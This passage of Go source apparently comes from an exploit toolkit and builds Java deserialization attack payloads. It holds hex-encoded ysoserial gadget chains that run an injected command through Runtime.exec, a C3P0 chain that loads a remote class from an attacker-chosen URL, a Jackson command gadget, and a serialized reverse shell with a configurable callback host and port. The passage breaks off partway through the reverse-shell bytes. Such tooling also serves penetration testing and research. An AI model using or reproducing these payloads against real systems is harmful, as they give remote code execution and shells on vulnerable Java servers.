+\n\t\t\"\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x73\\x65\\x72\" +\n\t\t\"\\x69\\x61\\x6c\\x69\\x7a\\x65\\x72\\x2f\\x53\\x65\\x72\\x69\" +\n\t\t\"\\x61\\x6c\\x69\\x7a\\x61\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\" +\n\t\t\"\\x64\\x6c\\x65\\x72\\x3b\\x01\\x00\\x0a\\x53\\x6f\\x75\\x72\" +\n\t\t\"\\x63\\x65\\x46\\x69\\x6c\\x65\\x01\\x00\\x0c\\x47\\x61\\x64\" +\n\t\t\"\\x67\\x65\\x74\\x73\\x2e\\x6a\\x61\\x76\\x61\\x0c\\x00\\x0a\" +\n\t\t\"\\x00\\x0b\\x07\\x00\\x28\\x01\\x00\\x33\\x79\\x73\\x6f\\x73\" +\n\t\t\"\\x65\\x72\\x69\\x61\\x6c\\x2f\\x70\\x61\\x79\\x6c\\x6f\\x61\" +\n\t\t\"\\x64\\x73\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\" +\n\t\t\"\\x65\\x74\\x73\\x24\\x53\\x74\\x75\\x62\\x54\\x72\\x61\\x6e\" +\n\t\t\"\\x73\\x6c\\x65\\x74\\x50\\x61\\x79\\x6c\\x6f\\x61\\x64\\x01\" +\n\t\t\"\\x00\\x40\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\" +\n\t\t\"\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\" +\n\t\t\"\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\" +\n\t\t\"\\x78\\x73\\x6c\\x74\\x63\\x2f\\x72\\x75\\x6e\\x74\\x69\\x6d\" +\n\t\t\"\\x65\\x2f\\x41\\x62\\x73\\x74\\x72\\x61\\x63\\x74\\x54\\x72\" +\n\t\t\"\\x61\\x6e\\x73\\x6c\\x65\\x74\\x01\\x00\\x14\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x69\\x6f\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\" +\n\t\t\"\\x7a\\x61\\x62\\x6c\\x65\\x01\\x00\\x39\\x63\\x6f\\x6d\\x2f\" +\n\t\t\"\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\" +\n\t\t\"\\x68\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\" +\n\t\t\"\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\\x63\\x2f\" +\n\t\t\"\\x54\\x72\\x61\\x6e\\x73\\x6c\\x65\\x74\\x45\\x78\\x63\\x65\" +\n\t\t\"\\x70\\x74\\x69\\x6f\\x6e\\x01\\x00\\x1f\\x79\\x73\\x6f\\x73\" +\n\t\t\"\\x65\\x72\\x69\\x61\\x6c\\x2f\\x70\\x61\\x79\\x6c\\x6f\\x61\" +\n\t\t\"\\x64\\x73\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\" +\n\t\t\"\\x65\\x74\\x73\\x01\\x00\\x08\\x3c\\x63\\x6c\\x69\\x6e\\x69\" +\n\t\t\"\\x74\\x3e\\x01\\x00\\x11\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\" +\n\t\t\"\\x6e\\x67\\x2f\\x52\\x75\\x6e\\x74\\x69\\x6d\\x65\\x07\\x00\" +\n\t\t\"\\x2a\\x01\\x00\\x0a\\x67\\x65\\x74\\x52\\x75\\x6e\\x74\\x69\" +\n\t\t\"\\x6d\\x65\\x01\\x00\\x15\\x28\\x29\\x4c\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x52\\x75\\x6e\\x74\\x69\\x6d\" +\n\t\t\"\\x65\\x3b\\x0c\\x00\\x2c\\x00\\x2d\\x0a\\x00\\x2b\\x00\\x2e\" +\n\n\t\t// 255 characters were allocated, we just put back the unused\n\t\t// length as spaces\n\t\t\"\\x01\\x00\\xff\" + commandStr + strings.Repeat(\" \", 0xff-len(commandStr)) +\n\n\t\t\"\\x08\\x00\\x30\\x01\\x00\\x04\" +\n\t\t\"\\x65\\x78\\x65\\x63\\x01\\x00\\x27\\x28\\x4c\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\" +\n\t\t\"\\x67\\x3b\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\" +\n\t\t\"\\x67\\x2f\\x50\\x72\\x6f\\x63\\x65\\x73\\x73\\x3b\\x0c\\x00\" +\n\t\t\"\\x32\\x00\\x33\\x0a\\x00\\x2b\\x00\\x34\\x01\\x00\\x0d\\x53\" +\n\t\t\"\\x74\\x61\\x63\\x6b\\x4d\\x61\\x70\\x54\\x61\\x62\\x6c\\x65\" +\n\t\t\"\\x01\\x00\\x1d\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\" +\n\t\t\"\\x2f\\x50\\x77\\x6e\\x65\\x72\\x37\\x34\\x30\\x30\\x32\\x30\" +\n\t\t\"\\x33\\x39\\x32\\x34\\x35\\x37\\x39\\x31\\x01\\x00\\x1f\\x4c\" +\n\t\t\"\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\\x2f\\x50\\x77\" +\n\t\t\"\\x6e\\x65\\x72\\x37\\x34\\x30\\x30\\x32\\x30\\x33\\x39\\x32\" +\n\t\t\"\\x34\\x35\\x37\\x39\\x31\\x3b\\x00\\x21\\x00\\x02\\x00\\x03\" +\n\t\t\"\\x00\\x01\\x00\\x04\\x00\\x01\\x00\\x1a\\x00\\x05\\x00\\x06\" +\n\t\t\"\\x00\\x01\\x00\\x07\\x00\\x00\\x00\\x02\\x00\\x08\\x00\\x04\" +\n\t\t\"\\x00\\x01\\x00\\x0a\\x00\\x0b\\x00\\x01\\x00\\x0c\\x00\\x00\" +\n\t\t\"\\x00\\x2f\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x05\\x2a\\xb7\" +\n\t\t\"\\x00\\x01\\xb1\\x00\\x00\\x00\\x02\\x00\\x0d\\x00\\x00\\x00\" +\n\t\t\"\\x06\\x00\\x01\\x00\\x00\\x00\\x2f\\x00\\x0e\\x00\\x00\\x00\" +\n\t\t\"\\x0c\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x0f\\x00\\x38\\x00\" +\n\t\t\"\\x00\\x00\\x01\\x00\\x13\\x00\\x14\\x00\\x02\\x00\\x0c\\x00\" +\n\t\t\"\\x00\\x00\\x3f\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\xb1\" +\n\t\t\"\\x00\\x00\\x00\\x02\\x00\\x0d\\x00\\x00\\x00\\x06\\x00\\x01\" +\n\t\t\"\\x00\\x00\\x00\\x33\\x00\\x0e\\x00\\x00\\x00\\x20\\x00\\x03\" +\n\t\t\"\\x00\\x00\\x00\\x01\\x00\\x0f\\x00\\x38\\x00\\x00\\x00\\x00\" +\n\t\t\"\\x00\\x01\\x00\\x15\\x00\\x16\\x00\\x01\\x00\\x00\\x00\\x01\" +\n\t\t\"\\x00\\x17\\x00\\x18\\x00\\x02\\x00\\x19\\x00\\x00\\x00\\x04\" +\n\t\t\"\\x00\\x01\\x00\\x1a\\x00\\x01\\x00\\x13\\x00\\x1b\\x00\\x02\" +\n\t\t\"\\x00\\x0c\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x04\\x00\\x00\" +\n\t\t\"\\x00\\x01\\xb1\\x00\\x00\\x00\\x02\\x00\\x0d\\x00\\x00\\x00\" +\n\t\t\"\\x06\\x00\\x01\\x00\\x00\\x00\\x36\\x00\\x0e\\x00\\x00\\x00\" +\n\t\t\"\\x2a\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x0f\\x00\\x38\\x00\" +\n\t\t\"\\x00\\x00\\x00\\x00\\x01\\x00\\x15\\x00\\x16\\x00\\x01\\x00\" +\n\t\t\"\\x00\\x00\\x01\\x00\\x1c\\x00\\x1d\\x00\\x02\\x00\\x00\\x00\" +\n\t\t\"\\x01\\x00\\x1e\\x00\\x1f\\x00\\x03\\x00\\x19\\x00\\x00\\x00\" +\n\t\t\"\\x04\\x00\\x01\\x00\\x1a\\x00\\x08\\x00\\x29\\x00\\x0b\\x00\" +\n\t\t\"\\x01\\x00\\x0c\\x00\\x00\\x00\\x24\\x00\\x03\\x00\\x02\\x00\" +\n\t\t\"\\x00\\x00\\x0f\\xa7\\x00\\x03\\x01\\x4c\\xb8\\x00\\x2f\\x12\" +\n\t\t\"\\x31\\xb6\\x00\\x35\\x57\\xb1\\x00\\x00\\x00\\x01\\x00\\x36\" +\n\t\t\"\\x00\\x00\\x00\\x03\\x00\\x01\\x03\\x00\\x02\\x00\\x20\\x00\" +\n\t\t\"\\x00\\x00\\x02\\x00\\x21\\x00\\x11\\x00\\x00\\x00\\x0a\\x00\" +\n\t\t\"\\x01\\x00\\x02\\x00\\x23\\x00\\x10\\x00\\x09\\x75\\x71\\x00\" +\n\t\t\"\\x7e\\x00\\x0e\\x00\\x00\\x01\\xd4\\xca\\xfe\\xba\\xbe\\x00\" +\n\t\t\"\\x00\\x00\\x32\\x00\\x1b\\x0a\\x00\\x03\\x00\\x15\\x07\\x00\" +\n\t\t\"\\x17\\x07\\x00\\x18\\x07\\x00\\x19\\x01\\x00\\x10\\x73\\x65\" +\n\t\t\"\\x72\\x69\\x61\\x6c\\x56\\x65\\x72\\x73\\x69\\x6f\\x6e\\x55\" +\n\t\t\"\\x49\\x44\\x01\\x00\\x01\\x4a\\x01\\x00\\x0d\\x43\\x6f\\x6e\" +\n\t\t\"\\x73\\x74\\x61\\x6e\\x74\\x56\\x61\\x6c\\x75\\x65\\x05\\x71\" +\n\t\t\"\\xe6\\x69\\xee\\x3c\\x6d\\x47\\x18\\x01\\x00\\x06\\x3c\\x69\" +\n\t\t\"\\x6e\\x69\\x74\\x3e\\x01\\x00\\x03\\x28\\x29\\x56\\x01\\x00\" +\n\t\t\"\\x04\\x43\\x6f\\x64\\x65\\x01\\x00\\x0f\\x4c\\x69\\x6e\\x65\" +\n\t\t\"\\x4e\\x75\\x6d\\x62\\x65\\x72\\x54\\x61\\x62\\x6c\\x65\\x01\" +\n\t\t\"\\x00\\x12\\x4c\\x6f\\x63\\x61\\x6c\\x56\\x61\\x72\\x69\\x61\" +\n\t\t\"\\x62\\x6c\\x65\\x54\\x61\\x62\\x6c\\x65\\x01\\x00\\x04\\x74\" +\n\t\t\"\\x68\\x69\\x73\\x01\\x00\\x03\\x46\\x6f\\x6f\\x01\\x00\\x0c\" +\n\t\t\"\\x49\\x6e\\x6e\\x65\\x72\\x43\\x6c\\x61\\x73\\x73\\x65\\x73\" +\n\t\t\"\\x01\\x00\\x25\\x4c\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\" +\n\t\t\"\\x6c\\x2f\\x70\\x61\\x79\\x6c\\x6f\\x61\\x64\\x73\\x2f\\x75\" +\n\t\t\"\\x74\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\\x65\\x74\\x73\\x24\" +\n\t\t\"\\x46\\x6f\\x6f\\x3b\\x01\\x00\\x0a\\x53\\x6f\\x75\\x72\\x63\" +\n\t\t\"\\x65\\x46\\x69\\x6c\\x65\\x01\\x00\\x0c\\x47\\x61\\x64\\x67\" +\n\t\t\"\\x65\\x74\\x73\\x2e\\x6a\\x61\\x76\\x61\\x0c\\x00\\x0a\\x00\" +\n\t\t\"\\x0b\\x07\\x00\\x1a\\x01\\x00\\x23\\x79\\x73\\x6f\\x73\\x65\" +\n\t\t\"\\x72\\x69\\x61\\x6c\\x2f\\x70\\x61\\x79\\x6c\\x6f\\x61\\x64\" +\n\t\t\"\\x73\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\\x65\" +\n\t\t\"\\x74\\x73\\x24\\x46\\x6f\\x6f\\x01\\x00\\x10\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\\x6a\\x65\\x63\" +\n\t\t\"\\x74\\x01\\x00\\x14\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\" +\n\t\t\"\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\\x62\\x6c\\x65\" +\n\t\t\"\\x01\\x00\\x1f\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\" +\n\t\t\"\\x2f\\x70\\x61\\x79\\x6c\\x6f\\x61\\x64\\x73\\x2f\\x75\\x74\" +\n\t\t\"\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\\x65\\x74\\x73\\x00\\x21\" +\n\t\t\"\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x04\\x00\\x01\\x00\\x1a\" +\n\t\t\"\\x00\\x05\\x00\\x06\\x00\\x01\\x00\\x07\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x00\\x08\\x00\\x01\\x00\\x01\\x00\\x0a\\x00\\x0b\\x00\\x01\" +\n\t\t\"\\x00\\x0c\\x00\\x00\\x00\\x2f\\x00\\x01\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x05\\x2a\\xb7\\x00\\x01\\xb1\\x00\\x00\\x00\\x02\\x00\" +\n\t\t\"\\x0d\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\\x00\\x3a\\x00\" +\n\t\t\"\\x0e\\x00\\x00\\x00\\x0c\\x00\\x01\\x00\\x00\\x00\\x05\\x00\" +\n\t\t\"\\x0f\\x00\\x12\\x00\\x00\\x00\\x02\\x00\\x13\\x00\\x00\\x00\" +\n\t\t\"\\x02\\x00\\x14\\x00\\x11\\x00\\x00\\x00\\x0a\\x00\\x01\\x00\" +\n\t\t\"\\x02\\x00\\x16\\x00\\x10\\x00\\x09\\x70\\x74\\x00\\x04\\x50\" +\n\t\t\"\\x77\\x6e\\x72\\x70\\x77\\x01\\x00\\x78\\x73\\x72\\x00\\x2a\" +\n\t\t\"\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x63\" +\n\t\t\"\\x6f\\x6d\\x6d\\x6f\\x6e\\x73\\x2e\\x63\\x6f\\x6c\\x6c\\x65\" +\n\t\t\"\\x63\\x74\\x69\\x6f\\x6e\\x73\\x2e\\x6d\\x61\\x70\\x2e\\x4c\" +\n\t\t\"\\x61\\x7a\\x79\\x4d\\x61\\x70\\x6e\\xe5\\x94\\x82\\x9e\\x79\" +\n\t\t\"\\x10\\x94\\x03\\x00\\x01\\x4c\\x00\\x07\\x66\\x61\\x63\\x74\" +\n\t\t\"\\x6f\\x72\\x79\\x74\\x00\\x2c\\x4c\\x6f\\x72\\x67\\x2f\\x61\" +\n\t\t\"\\x70\\x61\\x63\\x68\\x65\\x2f\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\" +\n\t\t\"\\x73\\x2f\\x63\\x6f\\x6c\\x6c\\x65\\x63\\x74\\x69\\x6f\\x6e\" +\n\t\t\"\\x73\\x2f\\x54\\x72\\x61\\x6e\\x73\\x66\\x6f\\x72\\x6d\\x65\" +\n\t\t\"\\x72\\x3b\\x78\\x70\\x73\\x72\\x00\\x3a\\x6f\\x72\\x67\\x2e\" +\n\t\t\"\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\" +\n\t\t\"\\x6e\\x73\\x2e\\x63\\x6f\\x6c\\x6c\\x65\\x63\\x74\\x69\\x6f\" +\n\t\t\"\\x6e\\x73\\x2e\\x66\\x75\\x6e\\x63\\x74\\x6f\\x72\\x73\\x2e\" +\n\t\t\"\\x49\\x6e\\x76\\x6f\\x6b\\x65\\x72\\x54\\x72\\x61\\x6e\\x73\" +\n\t\t\"\\x66\\x6f\\x72\\x6d\\x65\\x72\\x87\\xe8\\xff\\x6b\\x7b\\x7c\" +\n\t\t\"\\xce\\x38\\x02\\x00\\x03\\x5b\\x00\\x05\\x69\\x41\\x72\\x67\" +\n\t\t\"\\x73\\x74\\x00\\x13\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\" +\n\t\t\"\\x61\\x6e\\x67\\x2f\\x4f\\x62\\x6a\\x65\\x63\\x74\\x3b\\x4c\" +\n\t\t\"\\x00\\x0b\\x69\\x4d\\x65\\x74\\x68\\x6f\\x64\\x4e\\x61\\x6d\" +\n\t\t\"\\x65\\x71\\x00\\x7e\\x00\\x09\\x5b\\x00\\x0b\\x69\\x50\\x61\" +\n\t\t\"\\x72\\x61\\x6d\\x54\\x79\\x70\\x65\\x73\\x71\\x00\\x7e\\x00\" +\n\t\t\"\\x08\\x78\\x70\\x75\\x72\\x00\\x13\\x5b\\x4c\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x4f\\x62\\x6a\\x65\\x63\" +\n\t\t\"\\x74\\x3b\\x90\\xce\\x58\\x9f\\x10\\x73\\x29\\x6c\\x02\\x00\" +\n\t\t\"\\x00\\x78\\x70\\x00\\x00\\x00\\x00\\x74\\x00\\x0e\\x6e\\x65\" +\n\t\t\"\\x77\\x54\\x72\\x61\\x6e\\x73\\x66\\x6f\\x72\\x6d\\x65\\x72\" +\n\t\t\"\\x75\\x72\\x00\\x12\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2e\\x6c\" +\n\t\t\"\\x61\\x6e\\x67\\x2e\\x43\\x6c\\x61\\x73\\x73\\x3b\\xab\\x16\" +\n\t\t\"\\xd7\\xae\\xcb\\xcd\\x5a\\x99\\x02\\x00\\x00\\x78\\x70\\x00\" +\n\t\t\"\\x00\\x00\\x00\\x73\\x72\\x00\\x11\\x6a\\x61\\x76\\x61\\x2e\" +\n\t\t\"\\x75\\x74\\x69\\x6c\\x2e\\x48\\x61\\x73\\x68\\x4d\\x61\\x70\" +\n\t\t\"\\x05\\x07\\xda\\xc1\\xc3\\x16\\x60\\xd1\\x03\\x00\\x02\\x46\" +\n\t\t\"\\x00\\x0a\\x6c\\x6f\\x61\\x64\\x46\\x61\\x63\\x74\\x6f\\x72\" +\n\t\t\"\\x49\\x00\\x09\\x74\\x68\\x72\\x65\\x73\\x68\\x6f\\x6c\\x64\" +\n\t\t\"\\x78\\x70\\x3f\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x77\\x08\" +\n\t\t\"\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x78\\x78\\x78\"\n\n\treturn payloadBytes, nil\n}\n\n// Load `className` from `baseURL` using `URLClassLoader`.\n//\n// Generated by ysoserial using the \"C3P0\" gadget chain with placeholder arguments \"<base_url>\" and \"<classname>\".\nfunc C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {\n\t// 16-bit (short) unsigned integer (big-endian)\n\tif len(baseURL) < 1 || len(baseURL) > 65535 {\n\t\treturn \"\", ErrorInvalidCallbackArg(\"baseURL must be between 1 and 65535 characters\")\n\t} else if len(className) < 1 || len(className) > 65535 {\n\t\treturn \"\", ErrorInvalidCallbackArg(\"className must be between 1 and 65535 characters\")\n\t}\n\n\t// $ java -jar ysoserial.jar C3P0 \"<base_url>:<classname>\"\n\tgadgetBytes, err := gadgets.ReadFile(filepath.Join(\"gadgets\", \"C3P0.bin\"))\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to read gadget: %w\", err)\n\t}\n\n\tgadget := string(gadgetBytes)\n\tgadget = strings.ReplaceAll(gadget, \"\\x00\\x0a<base_url>\", transform.PackBigInt16(len(baseURL))+baseURL)\n\tgadget = strings.ReplaceAll(gadget, \"\\x00\\x0b<classname>\", transform.PackBigInt16(len(className))+className)\n\n\treturn gadget, nil\n}\n\n// https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/blob/f9e097041b08d48289c3dae004996caa28718184/src/main/java/payloads/Jackson.java\nfunc JacksonGenericCommand(cmd string) (string, error) {\n\t// 16-bit (short) unsigned integer (big-endian)\n\tif len(cmd) < 1 || len(cmd) > 65535 {\n\t\treturn \"\", ErrorInvalidCommandLength(\"cmd must be between 1 and 65535 characters\")\n\t}\n\n\t// $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -D Jackson -C \"touch /tmp/vulnerable\"\n\tgadgetBytes, err := gadgets.ReadFile(filepath.Join(\"gadgets\", \"Jackson.bin\"))\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to read gadget: %w\", err)\n\t}\n\n\tgadget := string(gadgetBytes)\n\tgadget = strings.ReplaceAll(gadget, \"\\x00\\x15touch /tmp/vulnerable\", transform.PackBigInt16(len(cmd))+cmd)\n\tconst (\n\t\tarraySizeWithCommand    = \"\\x00\\x00\\x06\\x54\" // 1620\n\t\tarraySizeWithoutCommand = 1599\n\t)\n\tgadget = strings.ReplaceAll(gadget, arraySizeWithCommand, transform.PackBigInt32(arraySizeWithoutCommand+len(cmd)))\n\n\treturn gadget, nil\n}\n\n// This is a serialized java reverse shell. The gadget was generated by ysoserial\n// but using the code in this pull https://github.com/frohoff/ysoserial/pull/96\n// and updated to make it easy to swap in the desired lhost+lport of our choosing\n// without having to recreate the gadget.\n//\n// The gadget works on both Windows and Linux and will automatically detect the platform\n// and tool to use for executing commands (cmd.exe or /bin/bash).\n//\n//nolint:dupword // Duplicate words () found\nfunc CreateBeanutilsReverseShell(lhost string, lport int) string {\n\tgadget := \"\\xac\\xed\\x00\\x05\\x73\\x72\\x00\\x17\\x6a\\x61\\x76\\x61\\x2e\\x75\\x74\\x69\" +\n\t\t\"\\x6c\\x2e\\x50\\x72\\x69\\x6f\\x72\\x69\\x74\\x79\\x51\\x75\\x65\\x75\\x65\\x94\" +\n\t\t\"\\xda\\x30\\xb4\\xfb\\x3f\\x82\\xb1\\x03\\x00\\x02\\x49\\x00\\x04\\x73\\x69\\x7a\" +\n\t\t\"\\x65\\x4c\\x00\\x0a\\x63\\x6f\\x6d\\x70\\x61\\x72\\x61\\x74\\x6f\\x72\\x74\\x00\" +\n\t\t\"\\x16\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x43\\x6f\\x6d\\x70\" +\n\t\t\"\\x61\\x72\\x61\\x74\\x6f\\x72\\x3b\\x78\\x70\\x00\\x00\\x00\\x02\\x73\\x72\\x00\" +\n\t\t\"\\x2b\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x63\\x6f\\x6d\\x6d\" +\n\t\t\"\\x6f\\x6e\\x73\\x2e\\x62\\x65\\x61\\x6e\\x75\\x74\\x69\\x6c\\x73\\x2e\\x42\\x65\" +\n\t\t\"\\x61\\x6e\\x43\\x6f\\x6d\\x70\\x61\\x72\\x61\\x74\\x6f\\x72\\xe3\\xa1\\x88\\xea\" +\n\t\t\"\\x73\\x22\\xa4\\x48\\x02\\x00\\x02\\x4c\\x00\\x0a\\x63\\x6f\\x6d\\x70\\x61\\x72\" +\n\t\t\"\\x61\\x74\\x6f\\x72\\x71\\x00\\x7e\\x00\\x01\\x4c\\x00\\x08\\x70\\x72\\x6f\\x70\" +\n\t\t\"\\x65\\x72\\x74\\x79\\x74\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\" +\n\t\t\"\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x78\\x70\\x73\\x72\\x00\\x3f\\x6f\" +\n\t\t\"\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\" +\n\t\t\"\\x73\\x2e\\x63\\x6f\\x6c\\x6c\\x65\\x63\\x74\\x69\\x6f\\x6e\\x73\\x2e\\x63\\x6f\" +\n\t\t\"\\x6d\\x70\\x61\\x72\\x61\\x74\\x6f\\x72\\x73\\x2e\\x43\\x6f\\x6d\\x70\\x61\\x72\" +\n\t\t\"\\x61\\x62\\x6c\\x65\\x43\\x6f\\x6d\\x70\\x61\\x72\\x61\\x74\\x6f\\x72\\xfb\\xf4\" +\n\t\t\"\\x99\\x25\\xb8\\x6e\\xb1\\x37\\x02\\x00\\x00\\x78\\x70\\x74\\x00\\x10\\x6f\\x75\" +\n\t\t\"\\x74\\x70\\x75\\x74\\x50\\x72\\x6f\\x70\\x65\\x72\\x74\\x69\\x65\\x73\\x77\\x04\" +\n\t\t\"\\x00\\x00\\x00\\x03\\x73\\x72\\x00\\x3a\\x63\\x6f\\x6d\\x2e\\x73\\x75\\x6e\\x2e\" +\n\t\t\"\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x78\\x61\\x6c\\x61\\x6e\" +\n\t\t\"\\x2e\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2e\\x78\\x73\\x6c\\x74\\x63\\x2e\" +\n\t\t\"\\x74\\x72\\x61\\x78\\x2e\\x54\\x65\\x6d\\x70\\x6c\\x61\\x74\\x65\\x73\\x49\\x6d\" +\n\t\t\"\\x70\\x6c\\x09\\x57\\x4f\\xc1\\x6e\\xac\\xab\\x33\\x03\\x00\\x06\\x49\\x00\\x0d\" +\n\t\t\"\\x5f\\x69\\x6e\\x64\\x65\\x6e\\x74\\x4e\\x75\\x6d\\x62\\x65\\x72\\x49\\x00\\x0e\" +\n\t\t\"\\x5f\\x74\\x72\\x61\\x6e\\x73\\x6c\\x65\\x74\\x49\\x6e\\x64\\x65\\x78\\x5b\\x00\" +\n\t\t\"\\x0a\\x5f\\x62\\x79\\x74\\x65\\x63\\x6f\\x64\\x65\\x73\\x74\\x00\\x03\\x5b\\x5b\" +\n\t\t\"\\x42\\x5b\\x00\\x06\\x5f\\x63\\x6c\\x61\\x73\\x73\\x74\\x00\\x12\\x5b\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x43\\x6c\\x61\\x73\\x73\\x3b\\x4c\" +\n\t\t\"\\x00\\x05\\x5f\\x6e\\x61\\x6d\\x65\\x71\\x00\\x7e\\x00\\x04\\x4c\\x00\\x11\\x5f\" +\n\t\t\"\\x6f\\x75\\x74\\x70\\x75\\x74\\x50\\x72\\x6f\\x70\\x65\\x72\\x74\\x69\\x65\\x73\" +\n\t\t\"\\x74\\x00\\x16\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x50\\x72\" +\n\t\t\"\\x6f\\x70\\x65\\x72\\x74\\x69\\x65\\x73\\x3b\\x78\\x70\\x00\\x00\\x00\\x00\\xff\" +\n\t\t\"\\xff\\xff\\xff\\x75\\x72\\x00\\x03\\x5b\\x5b\\x42\\x4b\\xfd\\x19\\x15\\x67\\x67\" +\n\t\t\"\\xdb\\x37\\x02\\x00\\x00\\x78\\x70\\x00\\x00\\x00\\x02\\x75\\x72\\x00\\x02\\x5b\" +\n\t\t\"\\x42\\xac\\xf3\\x17\\xf8\\x06\\x08\\x54\\xe0\\x02\\x00\\x00\\x78\\x70\\x00\\x00\" +\n\t\t\"\\x10\\x88\\xca\\xfe\\xba\\xbe\\x00\\x00\\x00\\x32\\x00\\xdb\\x0a\\x00\\x03\\x00\" +\n\t\t\"\\x22\\x07\\x00\\xd9\\x07\\x00\\x25\\x07\\x00\\x26\\x01\\x00\\x10\\x73\\x65\\x72\" +\n\t\t\"\\x69\\x61\\x6c\\x56\\x65\\x72\\x73\\x69\\x6f\\x6e\\x55\\x49\\x44\\x01\\x00\\x01\" +\n\t\t\"\\x4a\\x01\\x00\\x0d\\x43\\x6f\\x6e\\x73\\x74\\x61\\x6e\\x74\\x56\\x61\\x6c\\x75\" +\n\t\t\"\\x65\\x05\\xad\\x20\\x93\\xf3\\x91\\xdd\\xef\\x3e\\x01\\x00\\x06\\x3c\\x69\\x6e\" +\n\t\t\"\\x69\\x74\\x3e\\x01\\x00\\x03\\x28\\x29\\x56\\x01\\x00\\x04\\x43\\x6f\\x64\\x65\" +\n\t\t\"\\x01\\x00\\x0f\\x4c\\x69\\x6e\\x65\\x4e\\x75\\x6d\\x62\\x65\\x72\\x54\\x61\\x62\" +\n\t\t\"\\x6c\\x65\\x01\\x00\\x12\\x4c\\x6f\\x63\\x61\\x6c\\x56\\x61\\x72\\x69\\x61\\x62\" +\n\t\t\"\\x6c\\x65\\x54\\x61\\x62\\x6c\\x65\\x01\\x00\\x04\\x74\\x68\\x69\\x73\\x01\\x00\" +\n\t\t\"\\x13\\x53\\x74\\x75\\x62\\x54\\x72\\x61\\x6e\\x73\\x6c\\x65\\x74\\x50\\x61\\x79\" +\n\t\t\"\\x6c\\x6f\\x61\\x64\\x01\\x00\\x0c\\x49\\x6e\\x6e\\x65\\x72\\x43\\x6c\\x61\\x73\" +\n\t\t\"\\x73\\x65\\x73\\x01\\x00\\x35\\x4c\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\" +\n\t\t\"\\x2f\\x70\\x61\\x79\\x6c\\x6f\\x61\\x64\\x73\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\" +\n\t\t\"\\x61\\x64\\x67\\x65\\x74\\x73\\x24\\x53\\x74\\x75\\x62\\x54\\x72\\x61\\x6e\\x73\" 